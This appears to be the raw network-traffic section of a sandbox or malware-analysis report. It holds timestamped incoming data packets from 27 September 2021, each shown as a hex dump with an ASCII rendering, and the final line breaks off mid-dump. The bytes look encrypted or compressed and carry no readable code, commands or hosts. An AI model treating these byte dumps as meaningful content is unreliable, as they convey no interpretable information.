2021-09-27 18:14:09 UTC	148	IN	Data Raw: 7b 49 3a 20 b7 ea 10 85 37 68 37 a4 e2 7e f1 ff 50 a9 9d 7b 30 73 d7 31 fc 51 ff ec 43 46 6f e1 6c bf fe 53 2f 54 bd 25 3f 3a 37 b8 53 cf 0e 41 19 8a bd 30 7c 77 10 e6 23 08 47 04 39 9e fe 0f 50 d8 66 91 58 33 4d b5 c0 ae a3 d4 03 84 12 88 d9 09 db c8 b4 c6 ef e1 20 b7 78 f0 ca 9d 6c ff 57 02 67 1c 81 62 26 f5 65 7f 4f 66 41 90 27 9c 28 83 61 d6 9e 5c 34 90 81 97 d7 41 db 0f c8 52 f8 8b 54 0b 79 c4 cb 5d da 91 38 27 23 e9 06 69 10 e2 d8 9b c5 cb cc 32 02 15 19 0f 23 75 88 42 1d ed da d9 90 b9 40 fc 5a 47 c1 17 48 40 a6 ac 5b 10 69 fc 74 2a bc b7 00 6a 53 d7 be 24 88 01 8e 0b 2b 03 f7 2a 7d bc b0 f4 65 8f d6 45 d4 7d 47 24 f0 22 3b b1 7d 56 29 9d 14 ab d2 68 24 0c 34 be 97 ee 28 99 a5 6d b2 bb b4 e2 48 d4 98 7b fb ad ba 75 82 9f 27 b9 f1 fd c6 23 29 50 07 Data Ascii: {I: 7h7~P{0s1QCFolS/T%?:7SA0\|w#G9PfX3M xlWgb&eOfA'(a\4ARTy]8'#i2#uB@ZGH@[itjS$+}eE}G$";}V)h$4(mH{u'#)P
2021-09-27 18:14:09 UTC	150	IN	Data Raw: 4f 74 11 1a da dc 83 58 09 cb 33 ea d5 08 1e c8 e4 98 35 07 22 f7 b6 e7 62 ef c5 72 42 11 70 96 0a 9e d2 5b af 40 29 c3 1d ee 6f d6 f0 b3 ef a8 e4 56 cd 54 b5 7e 1b d6 5d 88 42 da 1d f8 11 59 07 a7 c3 74 cd fd f2 e6 df 36 4b 3d 14 69 50 16 31 e8 6f 14 d9 9c 02 6e 18 92 97 e1 fa 17 76 32 7a 9e 91 de 05 8e 4d 2c d2 41 d2 6c a3 56 87 65 94 66 ca 73 f2 44 39 78 6d b5 41 ee a2 ea 7d 01 0b 89 57 52 dd 99 64 4b 81 11 69 95 9f 2f 10 ee b2 f4 4d 2c df 13 0d 8f bd 10 30 55 a6 77 fe da 18 79 01 55 60 78 88 b2 4e 36 94 0c 71 9e a3 b8 53 71 55 1b 4c d7 7b 75 83 04 02 6e 77 d1 58 e4 71 5f 23 31 6d ed 23 ea c4 eb 81 6c 73 70 10 0a 1b 42 c9 04 76 f2 6a 2a a5 c4 93 5d 95 3d d0 8e 95 35 04 11 fa 64 43 6d 8c 3a 88 ea 0e 88 a4 bf 0a bc 13 c9 db 27 fc ee a6 9a 3b 27 31 db 67 Data Ascii: OtX35"brBp[@)oVT~]BYt6K=iP1onv2zM,AlVefsD9xmA}WRdKi/M,0UwyU`xN6qSqUL{unwXq_#1m#lspBvj*]=5dCm:';'1g
2021-09-27 18:14:09 UTC	151	IN	Data Raw: 9f 58 c1 dc 92 c5 39 c6 ce aa e0 e6 47 0b e5 a7 2c 1a 0e 3e ce b2 53 19 8b 1e 4c 8e 85 f9 0e 46 b6 78 f0 05 53 68 54 cc 2d f6 6a 5f 2a 8d 7e dd 9e e1 99 a6 9e 2c 71 b1 ca c4 34 ea 0d 86 bb a2 0b 92 71 0c 1f 87 24 20 00 08 d9 71 b5 69 f9 5c 27 e3 ac a3 d3 02 67 6e 07 79 43 89 e2 66 29 d0 85 9a c8 b3 a6 61 44 52 45 67 0f 58 10 f5 09 7b 92 87 8f f6 ce 81 c6 ab 26 b8 7d 12 86 ee c2 23 e6 05 bd 08 68 ee 3e 4d 00 24 89 8a 70 ca 4b fc 5b 66 32 a3 5c 35 48 9b 15 67 83 d5 4d 27 79 4c 26 54 31 05 a4 4f 31 f9 9b 1a b1 c8 3c 17 05 2d 9f bf d1 2c 8d 86 5f 22 c4 10 c9 72 fc aa 87 c7 81 8e c9 ca b1 02 b7 e2 3a fb 0a 2d 7c 4d 0a 35 54 ea f4 08 34 0c 0b a2 06 9d 3a 21 2b 12 9e bb 6c f5 4e 35 84 1b c2 fd c4 48 98 81 3d a8 45 fd 00 27 42 dd ec 61 9c f3 fd 6f 7e 51 ec 3d 7a Data Ascii: X9G,>SLFxShT-j_*~,q4q$ qi\'gnyCf)aDREgX{&}#h>M$pK[f2\5HgM'yL&T1O1<-,_"r:-\|M5T4:!+lN5H=E'Bao~Q=z
2021-09-27 18:14:09 UTC	152	IN	Data Raw: 22 40 d3 0c fa a8 17 9d 03 cf 77 15 09 cb 91 9a 30 7f d6 09 38 6c 5c cb c1 00 ac 8b f0 e9 80 fb 3f 86 75 04 1a bf b1 c2 6e 68 59 7b ba 5d f0 ea 1a 16 65 c9 55 f7 9c 66 c2 b8 fd 8c e9 3f c2 40 c4 8c 34 b5 85 0f 58 70 8e 73 bb e0 fd 6d 24 c7 f9 2c 25 ae 87 34 6d c2 10 72 ea c0 73 62 e3 ba f2 28 49 a3 33 61 ef cc 52 55 68 84 55 45 f8 7e 1d 2c f8 c3 5e ed fd 33 8b d5 23 4e 64 f1 c1 33 5b 26 c6 dc d1 61 3e a4 f6 0e 62 6f 0d 84 a1 25 0e 2d 21 08 b9 01 33 c2 d3 a4 5a 00 a5 48 1b 04 5f 66 77 63 fd e1 0b 9d a9 d3 a3 25 15 f3 ac f9 55 10 e2 c1 5c 2f 8a 9b a7 a5 c3 ee 9d 8f d4 71 17 4d dd d7 67 b8 a6 85 b6 63 60 37 93 42 a1 47 cf fd e9 e8 09 9d 29 f5 6a 94 c8 02 f9 48 d3 1a bc ba eb 8b 3a cd 02 5f b3 3e 4b f4 14 3b a1 61 c6 ce 9d 82 67 67 8a 98 1c b8 df 83 33 f9 0e Data Ascii: "@w08l\?unhY{]eUf?@4Xpsm$,%4mrsb(I3aRUhUE~,^3#Nd3[&a>bo%-!3ZH_fwc%U\/qMgc`7BG)jH:_>K;agg3
2021-09-27 18:14:09 UTC	153	IN	Data Raw: d8 ab 93 99 23 67 fc fb fe 2e eb 2d 83 ad ac 16 90 1f 50 5c da 7b 6b 5e 6e 9a 2d fa 2b 89 27 78 a4 f2 ad bb 49 3f 21 68 c4 00 cb bb 22 4d 88 c6 d5 a2 ad be 6f 62 4c 41 7d 15 40 62 d7 0f 78 91 c8 8f c4 d7 92 8f d4 10 9b 6c 0d c3 cc d0 2d bb 02 bc 08 78 f8 30 71 43 12 84 8e 60 fe 6c e5 4b 72 7c 8a 06 66 4e b6 0b 1c c8 dd 6c 39 70 13 68 69 04 18 a5 07 32 c5 cb 0c f3 84 45 7c 78 30 ed bf f2 36 87 a6 54 29 c5 75 ed 6a eb 81 ab c5 88 83 c4 8b 9c 4d f9 f0 27 f3 14 5f 4c 58 1a 25 4e 81 fa 1e 39 2d 52 ed 08 10 34 6f 66 46 9c a3 42 fa 4f 23 aa 0b 91 ab cd 03 96 fc 64 d6 62 e3 4f 18 47 c4 f8 08 a1 ec e8 5a 31 31 fe 6d 62 a1 3d 94 96 87 53 af ce fc fb cc 86 18 c8 f3 6c ac a6 71 2d 70 58 e9 ea 03 35 e9 ac 69 e1 8c 38 37 db 41 81 ac b6 52 70 26 f6 4f 7c 28 9d 9e 77 b3 Data Ascii: #g.-P\{k^n-+'xI?!h"MobLA}@bxl-x0qC`lKr\|fNl9phi2E\|x06T)ujM'_LX%N9-R4ofFBO#dbOGZ11mb=Slq-pX5i87ARp&O\|(w
2021-09-27 18:14:09 UTC	155	IN	Data Raw: 6b 5a 93 09 e2 9b 6d de ea a1 9d e2 76 f4 11 c3 78 3c b7 82 5c 1a 3c 8c 09 e8 c7 f9 69 45 bf ae 43 2a ce 9a 58 6c 8f 68 65 a0 ee 24 26 ef a8 d4 3d 62 ed 22 34 c3 95 0e 1f 61 e7 20 1b a7 7b 12 72 bc c2 25 fe c5 10 a1 c9 3e 32 62 ea dd 33 0b 17 c5 90 fd 60 7a a0 fd 03 78 77 50 cd b0 55 07 68 77 7b c8 17 21 88 a1 ce 21 53 ac 21 3d 5a 1d 6c 70 1a d8 a4 57 ac be 88 f8 73 3a b1 a7 ed 43 07 84 c9 52 7a d2 cd eb f1 d0 fc 86 90 87 39 15 b9 92 e3 2a e6 a5 8c b7 6c 28 36 91 19 ff 06 c3 f0 fb eb 08 d5 79 f0 6d 89 da 4a 8b 3e b2 67 c1 fa 99 f3 6b c6 1c 0a ed 6f 0e f9 19 6a ff 3c 83 a2 9c 86 6f 62 98 ef 5b e4 bc d5 23 f0 4c b3 ba dd 41 e8 69 15 cb d5 0f 61 28 9c b6 03 11 bb f8 34 1c b1 67 a3 9b be 68 3e 1c ba 90 e0 f1 da 51 e7 9f 8c 5e 87 b9 2b 59 ff 20 b1 9b f2 8d bf Data Ascii: kZmvx<\<iECXlhe$&=b"4a {r%>2b3`zxwPUhw{!!S!=ZlpWs:CRz9l(6ymJ>gkoj<ob[#LAia(4gh>Q^+Y
2021-09-27 18:14:09 UTC	156	IN	Data Raw: e3 b8 a6 46 7f 57 1c 7e 17 58 0a c9 09 4f b1 b7 b8 f4 d3 9b ef 85 03 9a 40 0b c8 c9 d6 09 d5 33 b5 4c 53 ec 2b 6b 0b 3e 9e 99 60 cc 79 ee 5f 75 69 8b 4b 34 01 a0 17 1c f4 d9 63 29 7c 40 2f 76 0b 07 b0 4c 78 cd 9c 20 bd e1 63 20 06 23 f4 90 d1 3e 9e a4 57 34 d7 05 d9 72 fe 9e 95 e7 ac db e5 b0 b8 2a bd f8 25 e6 0f 14 58 6b 06 23 02 d7 fa 0c 32 15 27 be 15 4f e0 1c 10 4a ba 9e 64 c2 4d 2c aa 09 c2 ef c6 6f 81 ac 0f af 48 ec 4f 08 4c de fb 4c df f0 fa 4a 55 75 e8 2a 6a c2 44 e1 dc db 18 cd e3 e8 c7 ec a7 23 eb d3 74 8f 8f 44 0a 7e 76 c6 cd 1f 36 da c2 57 c3 b6 30 3c ea 65 8f b8 86 4c 77 16 cf 49 63 7b e2 9d 78 aa 93 a6 ec a9 80 13 96 02 68 22 42 08 81 5b ef c7 8e 8b 2e 04 e1 d6 a8 38 fd 7f f4 47 ab 7f e7 f8 0e 86 d3 a7 60 7b e2 df 8c 92 56 c5 53 52 99 0b ce Data Ascii: FW~XO@3LS+k>`y_uiK4c)\|@/vLx c #>W4r%Xk#2'OJdM,oHOLLJUujD#tD~v6W0<eLwIc{xh"B[.8G`{VSR
2021-09-27 18:14:09 UTC	157	IN	Data Raw: 6a a2 7e 76 e2 9c 03 06 28 c1 06 05 ab 6c 21 71 a3 86 10 cf df 11 b8 d5 66 0c 72 fc 97 03 33 34 99 d4 c9 67 7d b7 d3 27 46 46 6d ec cb 54 7d 1d 01 71 cc 66 43 f2 da bc 4b 2c d4 27 2f 3e 72 7e 32 01 cf e1 17 8a e7 c9 a7 39 13 f4 cb 9d 21 7d 84 ea 7a 46 e5 f8 ce 82 c8 c0 bf a0 b1 09 20 99 1f fd 08 cd 80 bc 8d 58 1c 13 a2 7e a1 43 91 ad a3 bf 49 92 3d 9d 1a ed bb 2e eb 4a d7 25 93 a6 f3 8c 0a da 62 6b f5 73 01 f9 18 68 fc 38 86 c7 d8 d6 48 4c bd e3 79 d3 a6 f9 1a d4 75 8c 97 f7 34 d5 5e 2b fa ee 2d 46 39 a1 89 36 03 b1 ec 28 23 ba 66 a7 90 bb 74 23 2e b4 9f fa e6 ce 44 c1 bc 9f 5a bf b2 24 6e cf 29 a1 d1 d2 8a be 9c 72 c4 83 16 b4 0f 9d 74 91 ef f5 06 1f 19 d4 ac 0a ff a4 f8 ca 59 cd 1c ab 94 9a cd c9 1c a1 bd 3a 68 66 dc c6 17 4f 68 e2 86 27 09 42 00 e2 d0 Data Ascii: j~v(l!qfr34g}'FFmT}qfCK,'/>r~29!}zF X~CI=.J%bksh8HLyu4^+-F96(#ft#.DZ$n)rtY:hfOh'B
2021-09-27 18:14:09 UTC	159	IN	Data Raw: b6 6e 2b 4d b0 16 12 f2 ab 53 2e 74 4d 25 70 05 0f b1 16 7f d6 90 23 80 c7 1d 12 07 3e 8d 8d eb 07 bb b1 44 32 e0 17 c3 6d ca 9c a1 df ae 94 ca 86 a2 10 be fc 1c cd 24 4c 1e 15 10 11 38 e5 ce 26 17 18 2c 95 26 4d c0 85 6b 57 ce 82 43 f9 4a 10 97 09 cb e3 e2 7e b6 9c 3c b7 49 dc 6d 2d 18 f6 eb 46 9f c5 d4 7e 15 1c a9 25 4a e5 73 cf c5 e5 2e e5 9e eb f3 c0 9f 39 e1 c1 79 ac af 62 31 58 40 ef e6 1a 01 f8 d3 2c db a8 00 11 d9 52 82 b1 b7 6b 5d 3f fd 69 6e 2a e9 96 53 f5 a4 90 e2 be 9a 10 b9 12 50 0d 74 15 a8 7c e2 dc af a3 1e 4b 9a c4 a3 3b b4 79 de 69 8f 76 f2 b5 44 ac cf be 49 12 b6 90 ad 8a 72 00 2f 37 f7 39 d2 75 c5 8c bf 40 83 80 3b 19 9b c1 fd a5 cf 5f a4 7a e5 e6 b7 7b 71 0c 1f 2b 85 c5 99 6d 26 7c d4 fe 7e 8e 71 e7 97 df c3 aa 57 4a f5 bf 38 7d 70 fe Data Ascii: n+MS.tM%p#>D2m$L8&,&MkWCJ~<Im-F~%Js.9yb1X@,Rk]?in*SPt\|K;yivDIr/79u@;_z{q+m&\|~qWJ8}p
2021-09-27 18:14:09 UTC	160	IN	Data Raw: 5b f8 54 6b df e1 bc 7f 1c ff 0c 2e 01 40 6e 23 36 d0 ce 2c b8 c3 fe 82 10 3c a4 b4 fb 01 52 bf ce 5f 6f c8 99 b8 80 d2 cd be b6 a3 7b 3c 9a 1b 10 03 cc f5 da eb 6e 20 2b ac 5f a8 42 85 8b bb a3 55 bc 26 aa 3a f5 98 19 dc 50 d0 23 81 94 e3 92 36 da 4f 44 ba 1c 42 a0 5e 35 ac 64 c5 80 b4 83 6d 5e 97 c5 51 fa a5 c6 37 fe 4a b3 be e8 1f 9e 67 08 cd de 0d 40 1b 97 bf 0b 02 a6 ea 00 32 b7 70 b9 8c 95 6c 29 23 a1 94 c7 f9 ec 5f d8 ac b9 5b 97 be 38 41 ec 13 bf 91 fd 8e ac ce 49 cb 8a 00 a8 0e 80 53 d9 cc d8 05 0f 0c cc ee 66 90 7b f0 c5 74 d8 2b 8f b1 a4 e6 e1 2c 92 9e 1b 49 53 a9 ab 73 2b 09 f6 b5 1f 28 41 26 e6 c2 b0 1d 62 67 f8 49 6d e4 51 9a 5b e2 80 33 87 61 3c d9 fd 32 22 76 c3 25 b0 2b ad f3 3c 39 0c b4 9e b0 52 4b 30 5c 9b d5 26 5b 50 04 7a f0 10 60 30 Data Ascii: [Tk.@n#6,<R_o{<n +_BU&:P#6ODB^5dm^Q7Jg@2pl)#_[8AISf{t+,ISs+(A&bgImQ[3a<2"v%+<9RK0\&[Pz`0
2021-09-27 18:14:09 UTC	161	IN	Data Raw: 83 11 b2 f2 3f fb 14 19 50 5e 3b 22 03 d1 ee 1f 2b 2f 16 ad 18 40 c6 cb d0 11 9a a9 7e ef 49 3f a4 0c c4 eb 9a 13 cc e3 5c f1 0e b4 0d 4d 74 fb dd 53 c0 a2 af 0c 1b 72 cd 6c 2a 9c 74 c7 e2 cc 14 cf ae d6 e2 8e 83 1f dc ea 52 be ab 6f 3b 63 51 f7 e7 00 3b c5 fe 16 80 9c 3f 34 ef 64 81 bf b7 4e 69 0d d2 5a 60 10 d3 bc 61 ae 91 93 e2 ae 8c 13 ba 0f 7b 37 40 3c 9b 4b fb c0 89 83 2c 1d 97 c9 b5 21 ae 41 fd 16 f7 36 a7 ee 04 e2 8e ac 7f 35 af 9f ad 91 1a 7d bd 5a 89 6d 89 32 ce 8c 83 4f 81 9e 22 15 b9 dd c7 b9 cc 44 a1 74 e3 f2 af 7f 7c 00 02 08 e6 d7 f4 40 3e 7c c4 e2 7e 90 00 d4 8a d9 c3 ea 75 42 dd a1 14 6b 66 ff 27 06 7e 61 20 dc 6d 26 79 ae 74 f0 c9 09 18 52 e3 b8 23 2f 22 ea bd e4 6b df f2 67 5a 0a 79 bd 33 bb de 07 8e 76 ad 9f 8a eb 7f d5 fa 80 c9 a5 c7 Data Ascii: ?P^;"+/@~I?\MtSrl*tRo;cQ;?4dNiZ`a{7@<K,!A65}Zm2O"Dt\|@>\|~uBkf'~a m&ytR#/"kgZy3v
2021-09-27 18:14:09 UTC	162	IN	Data Raw: d5 89 54 91 40 47 b5 c4 db 91 3c 0d cd f6 16 85 af d5 f5 d8 f2 10 3a 22 02 be 29 a6 17 67 88 65 24 99 fb d3 96 bc e6 3c e6 40 c1 f8 79 0f 81 aa 5b 2c 60 4f 7f 06 9c c0 21 86 76 e5 e6 2e 99 6b 88 29 06 a4 e6 b6 50 34 ce e0 75 ba f4 63 24 b8 6e 78 4c 01 16 67 54 e8 c3 99 14 4e f9 a9 12 0a 34 b8 9a 5d 30 93 a3 44 22 5f 2a e5 48 04 a8 14 e3 ab ba 12 b7 ee 10 99 d1 67 d5 35 0f 76 60 f3 09 75 da c0 2c 72 0c a7 82 21 75 1c c5 6b d5 52 65 a2 3a 16 f5 75 cf 7b 0d ab be 43 65 bf 4f 3f 16 9b d1 92 06 a2 8e 45 22 cd b8 e3 9a 1f d6 76 01 42 38 0c 29 95 2c bb 14 16 26 5e d9 63 04 bb 43 1e b0 40 ba b6 0a 45 e5 69 08 13 ed 57 21 03 94 61 ef 1d 17 0c f8 f5 9d ef ea b9 a5 43 23 26 18 53 04 7e 37 57 8e 61 82 fc b5 80 ba 64 e4 51 7b bb 2e 31 90 06 6e 07 95 33 ce 52 ef 6e e5 Data Ascii: T@G<:")ge$<@y[,`O!v.k)P4uc$nxLgTN4]0D"_*Hg5v`u,r!ukRe:u{CeO?E"vB8),&^cC@EiW!aC#&S~7WadQ{.1n3Rn
2021-09-27 18:14:09 UTC	163	IN	Data Raw: d1 39 4d 54 c2 30 47 4b 9e 17 6f e3 bf 01 3d ec b2 c4 7d 01 c2 1c 0c 35 b2 ae 3f 44 a6 db 53 6f 3d 7f 00 bb e6 e7 92 b0 6e 2b ad 92 6b 19 88 3e 7b 45 56 cd db 0c 70 67 8d f2 00 23 6f 13 df e3 71 1d 07 79 59 f0 5d cf e4 a9 9a 6c 0d 74 03 02 2b 42 58 85 09 21 f2 2c a5 ae e0 11 13 29 c7 ac b1 ca 56 9b fb ea 69 1a c9 d6 8c 0b f0 78 8e ad 0a 95 87 c2 21 e2 2a 1c 49 af 9f e5 f4 73 88 f7 8b 45 65 b3 48 79 6d f1 7f 3b 05 db d3 0d bf e4 e3 db 65 31 48 bc 61 f8 b1 57 d2 00 51 f3 df 5b 8b c2 6d 46 69 80 96 f5 33 80 15 7a 23 0e 2f f5 52 4b 2d 05 6f 7a 8b 52 54 93 d2 7a 37 35 8c 8a 35 9b 9a a5 26 20 37 f3 1d fa b3 9e 02 1a 54 7c 4a a8 5c 25 0d fc 0f 0d 97 e4 79 8a 06 ad 50 55 0b 7c ea db 22 5d 31 a5 2d fe 44 69 7c 9d b5 cd 5a e5 c4 2c da 60 a6 c1 b0 41 cf f6 fc 44 84 Data Ascii: 9MT0GKo=}5?DSo=n+k>{EVpg#oqyY]lt+BX!,)Vix!*IsEeHym;e1HaWQ[mFi3z#/RK-ozRTz755& 7T\|J\%yPU\|"]1-Di\|Z,`AD
2021-09-27 18:14:09 UTC	164	IN	Data Raw: 8f 4c d1 10 0e fa 59 1c 68 59 f6 e6 08 3f 31 93 23 73 03 87 2d 49 3c dc 6c 64 8f 07 60 24 7f 32 26 13 06 08 a2 51 77 d9 9f f5 9b f2 37 7d 0e 4f a1 a1 c1 20 98 a3 47 20 c3 2d e3 3d d2 c5 8b e6 af b0 ee a7 b2 71 ae d1 0c b1 21 a3 71 41 32 11 28 fc c6 16 02 19 39 ed 25 f8 e2 c7 f7 ca 55 65 82 c4 b2 e1 67 d2 0a be 13 b5 53 67 d1 65 9f 88 9d d1 90 04 3c 00 42 09 2e 8a 80 9a 0d 20 90 b4 ba 09 1e be ff 0f 40 38 10 34 77 e5 34 a7 89 5e 5f 09 df 8d a2 19 12 f9 c4 20 01 ee 66 77 b8 27 6a ab 0e 0c 39 49 f2 d4 47 e8 e3 36 44 72 e8 09 09 97 79 6e 1f b3 3b 11 fb d4 d2 bd 3e 77 42 a4 36 33 91 22 0d 66 06 83 06 7f 55 e3 04 d3 4c 8f ec 1d 63 17 c7 8f 08 2a 11 38 f0 5f 47 4c 8e 64 8e 36 8b dc cf 13 d0 16 6b 5e cf 91 91 a7 95 1d d7 3a b5 35 d0 33 24 44 5d 1a f8 bc b1 34 41 Data Ascii: LYhY?1#s-I<ld`$2&Qw7}O G -=q!qA2(9%UegSge<B. @84w4^_ fw'j9IG6Dryn;>wB63"fULc*8_GLd6k^:53$D]4A
2021-09-27 18:14:09 UTC	166	IN	Data Raw: f0 6b df 54 c9 2d f1 62 f6 8f 71 2b d1 a3 f1 fe 44 63 bb b5 f4 d2 6d 93 6b 42 7f 82 f7 47 8a 02 47 d7 1d 41 52 0a 3c 2a db f3 8f 9e 3a 8d d4 9e 33 ed 88 47 7b 46 e3 72 c5 33 d8 d6 a2 33 be c8 3b 89 18 11 f7 60 6d 47 75 22 e2 3c 42 89 69 06 56 51 73 66 80 d6 f6 25 fe 02 45 d3 0c e5 2b fb 45 e8 22 12 d1 79 a2 22 50 e6 be 4c a9 4c 48 d1 28 72 65 e2 93 99 65 3f a3 13 7b 2c c2 08 af 92 4c 22 ec 69 e4 8b 47 0e 88 fa 83 4b 34 83 81 34 68 3f a2 ee db 36 00 b8 e1 a1 bc 29 03 ed 67 87 e1 60 3c b4 e7 dd 23 b1 fd c0 8d d1 13 71 2a 9b 7b 36 61 3c ae 94 a2 21 dd 62 71 7b 9c b9 b0 5e 7b 49 2b d5 b9 a1 32 15 46 dd f0 db b7 21 7f de ca 6f 08 85 b2 eb 79 23 12 1b e6 34 76 15 45 b9 81 90 6b 3b 24 00 01 c5 a4 36 f2 08 8e 27 79 d0 15 c5 a8 d7 59 1f 5f 40 30 ef 5a d6 c1 d6 47 Data Ascii: kT-bq+DcmkBGGAR<:3G{Fr33;`mGu"<BiVQsf%E+E"y"PLLH(ree?{,L"iGK44h?6)g`<#q{6a<!bq{^{I+2F!oy#4vEk;$6'yY_@0ZG
2021-09-27 18:14:09 UTC	167	IN	Data Raw: bf 89 28 8a a3 46 30 f1 2f b3 68 d0 b8 8a f9 ab a2 cd 82 a1 36 9e d1 54 e4 23 29 70 60 36 03 0b d9 d5 2c 05 19 59 b8 27 75 e3 e6 e4 d7 7c 40 07 32 82 e1 eb ef 0a 2e 12 97 42 6d cd 41 0b 33 9c d1 54 39 3c 94 43 22 3f 82 b8 86 92 d6 90 23 47 34 1e 29 fe 23 51 30 6f 05 dd ea 34 19 89 62 5f 9e de a0 b3 02 cf dc 71 20 00 ed 0a 23 ba bd 6b ef 4d 3f 46 f6 d0 9c 46 d9 4b 80 45 23 e8 38 4f 02 3b 3d 32 83 39 86 26 94 d2 ac 3e e0 c0 7b a0 23 af b4 0e 6e 10 b0 06 e8 54 ef 40 c0 26 0d a5 13 63 06 8f b7 0f 26 13 29 e1 9b d1 41 ec 74 8c 2c 14 f1 cd 02 d0 d2 6b 51 5a 81 fc f6 90 11 61 09 b5 a2 d1 21 20 4d 7f 6f ec b3 b1 25 fd 39 ae 83 1d ef 20 8d d7 a7 3d c2 23 2b 18 e9 4e 10 1c 8e 4b 6c 35 15 4f a2 18 59 11 ec 13 fb d6 08 0f 4a e9 90 a2 21 00 e6 b5 e7 62 cf 39 5c 54 31 Data Ascii: (F0/h6T#)p`6,Y'u\|@2.BmA3T9<C"?#G4)#Q0o4b_q #kM?FFKE#8O;=29&>{#nT@&c&)At,kQZa! Mo%9 =#+NKl5OYJ!b9\T1
2021-09-27 18:14:09 UTC	168	IN	Data Raw: 7a 1e fa bb 45 f9 e5 20 0f c7 d7 a2 a4 a9 0a 4c 8a c8 09 ea 2a 83 c2 75 b5 e3 f4 4b 88 73 96 01 6d 6b 60 80 41 f7 7f 61 04 53 e9 9c be bf f1 5f 7f 23 48 ce 7f 22 b5 47 f2 2b 4b 3f d7 53 8b 37 74 65 75 12 96 71 19 b9 0e ea 2f da 0e af 56 4d 2d 6e 6f f2 b1 d7 55 0b f0 99 1b 33 8c 83 35 e8 a8 b5 06 6d 36 a5 23 fa b3 be 28 03 7a e6 4a d6 61 ab 22 49 03 18 90 fd 57 8c 06 b2 50 3c 2c ed eb ff 36 b4 03 a3 2d df 63 f1 61 8d 95 25 79 b5 d2 30 da bb 87 32 82 c7 cf e4 dd 20 b7 a9 de d5 4c 08 12 b3 a1 fb 22 04 ac 70 47 88 18 58 a3 86 e2 48 3a a4 97 13 32 12 36 1b 1e 97 f0 58 d1 15 52 29 9d 4d 39 c8 d6 c2 ef 47 d7 c1 41 46 69 4b ea d7 47 48 28 52 90 ef 3d 3a 37 22 76 62 1c 71 19 f6 be 37 71 76 22 ca 23 08 58 89 11 a0 dc 98 57 ee ed ce c1 5e c8 b1 e0 42 a1 c2 03 89 36 Data Ascii: zE L*uKsmk`AaS_#H"G+K?S7teuq/VM-noU35m6#(zJa"IWP<,6-ca%y02 L"pGXH:26XR)M9GAFiKGH(R=:7"vbq7qv"#XW^B6
2021-09-27 18:14:09 UTC	169	IN	Data Raw: a6 64 67 e9 0a 9a 30 97 51 65 d1 63 87 11 b8 c2 90 3f 3c d4 e8 22 2c 8a 81 89 0d 41 90 11 a9 32 1e b1 55 23 42 38 10 35 77 f0 32 2b af 65 5f 82 72 a0 a0 0a 13 ea c4 e4 00 df 74 24 ba 11 da ef 0b 3d 39 cd f3 0a 46 2c f1 87 45 f7 5c 38 09 00 78 24 1f d2 3c b4 e8 93 d2 f8 8b e0 43 7b 37 31 91 43 0d 5c 16 b4 06 30 e1 ef 06 c2 4c 0b ed 85 60 0c d4 b3 0f 3a a5 29 f0 9b 46 53 8c a4 89 1e 9e f5 cd c6 66 d2 6a 51 cd 93 91 9f 90 23 c7 0d b5 da 69 21 26 55 5d 59 ff 4c ba 17 53 3d ae f3 a7 ef 23 85 e4 be b2 5d 23 19 be ed 4e 10 1c 8e 4d f4 17 21 7c 35 1b 93 1a e9 13 3b 6a 08 1e 52 c1 a6 27 b6 03 a2 be cd 62 a3 04 5c 42 11 6f a5 22 a8 c4 69 bb 40 af 51 3b ef 6f d2 d0 b2 ec 61 e6 8b fc 53 a7 40 fa c4 5e 88 42 e9 81 b5 05 6b 0a 90 eb c5 0e fd f4 cc 59 5b d2 cf 16 5f 62 Data Ascii: dg0Qec?<",A2U#B85w2+e_rt$=9F,E\8x$<C{71C\0L`:)FSfjQ#i!&U]YLS=#]#NM!\|5;jR'b\Bo"i@Q;oaS@^BkY[_b
2021-09-27 18:14:09 UTC	171	IN	Data Raw: 21 62 ce f3 94 b4 51 d2 bc 5b a9 0a 4e 20 33 5e 65 b9 a4 97 67 39 a3 0f 64 01 e5 1d af 7c 4d f9 d8 6e e4 91 40 12 95 7c 8c d9 2e a6 83 b7 51 a9 a3 26 fa 31 18 0d c5 a0 be 04 03 f6 5f 4b c0 41 3c 25 e6 98 03 2f fd 7b 8c 6e 08 51 2a 0c 7a ec 40 20 a9 bc a3 01 df 37 4a 60 9b b5 b2 7e 73 79 05 92 ba ab 32 0a 7c ce f2 fd b7 b0 76 62 e7 f3 08 3e b3 35 40 23 12 8c e7 40 5d 53 6a 8e 87 cf 48 f2 1f 96 00 12 85 31 fa 42 a6 7d 5b fc 15 86 92 9c 5b 19 5f d1 39 2f 5b fa c0 6f 46 61 f7 eb c1 67 52 29 58 49 cd b0 39 19 22 62 de 1d 67 39 61 b9 38 d8 4f 0f cb 0c 08 10 35 10 b3 fc 0f 50 fa 20 f7 4c 31 62 b1 b4 7e a0 d4 03 1e 31 ad c6 2d 97 20 86 c6 67 fd 1e 9b 78 f0 d3 87 6d d0 b0 1f 51 36 97 20 be f4 65 7b 69 83 d3 96 5f 01 3c ae b8 cc bf b1 36 90 87 bf 1a 6b 51 02 ee 7a Data Ascii: !bQ[N 3^eg9d\|Mn@\|.Q&1_KA<%/{nQ*z@ 7J`~sy2\|vb>5@#@]SjH1B}[[_9/[oFagR)XI9"bg9a8O5P L1b~1- gxmQ6 e{i_<6kQz
2021-09-27 18:14:09 UTC	172	IN	Data Raw: a0 94 5b 12 f9 c4 20 07 e5 ca 0e f2 bc 3c ef 63 6c 38 de f3 9d 41 d1 5a ad fa 23 bf 38 7d 51 79 37 1f 82 3d 8e f6 aa 9a ad 69 e0 eb 2a 36 22 91 b5 0a 66 18 8d b9 e8 03 ef b2 93 4d 18 ed 12 67 0e 57 a7 63 22 44 29 18 ca 47 40 8c 75 88 24 2e e1 28 1f 87 d2 9e 00 cc 80 91 f7 94 19 11 23 df bc 86 21 0e 07 5c 4a ff b3 b5 2d 94 13 de 9d 4a ef 17 d7 e5 ad b2 c2 27 23 fe c3 24 0e 4b 8e 25 26 16 30 5c a2 1c 51 6a c7 63 e5 81 08 6a 00 c0 b5 27 21 04 ee 76 f4 db cc ee 5c ea 43 6e b6 22 b3 d6 53 65 79 c7 b8 d3 ef db 80 d1 a1 ec a8 e5 cc 7f 78 72 47 6c c4 06 db 43 fa 81 d6 10 59 8f bb 03 46 98 fd e0 99 58 48 d2 3c 15 6d e7 04 dc f7 38 8e b0 e4 11 48 38 81 95 e1 e0 30 34 03 2d 9e 46 96 2c a3 4f 2c d5 6b c3 13 24 77 d0 61 f4 10 c8 73 f2 de 1d 55 65 94 ea da f6 ea a1 48 Data Ascii: [ 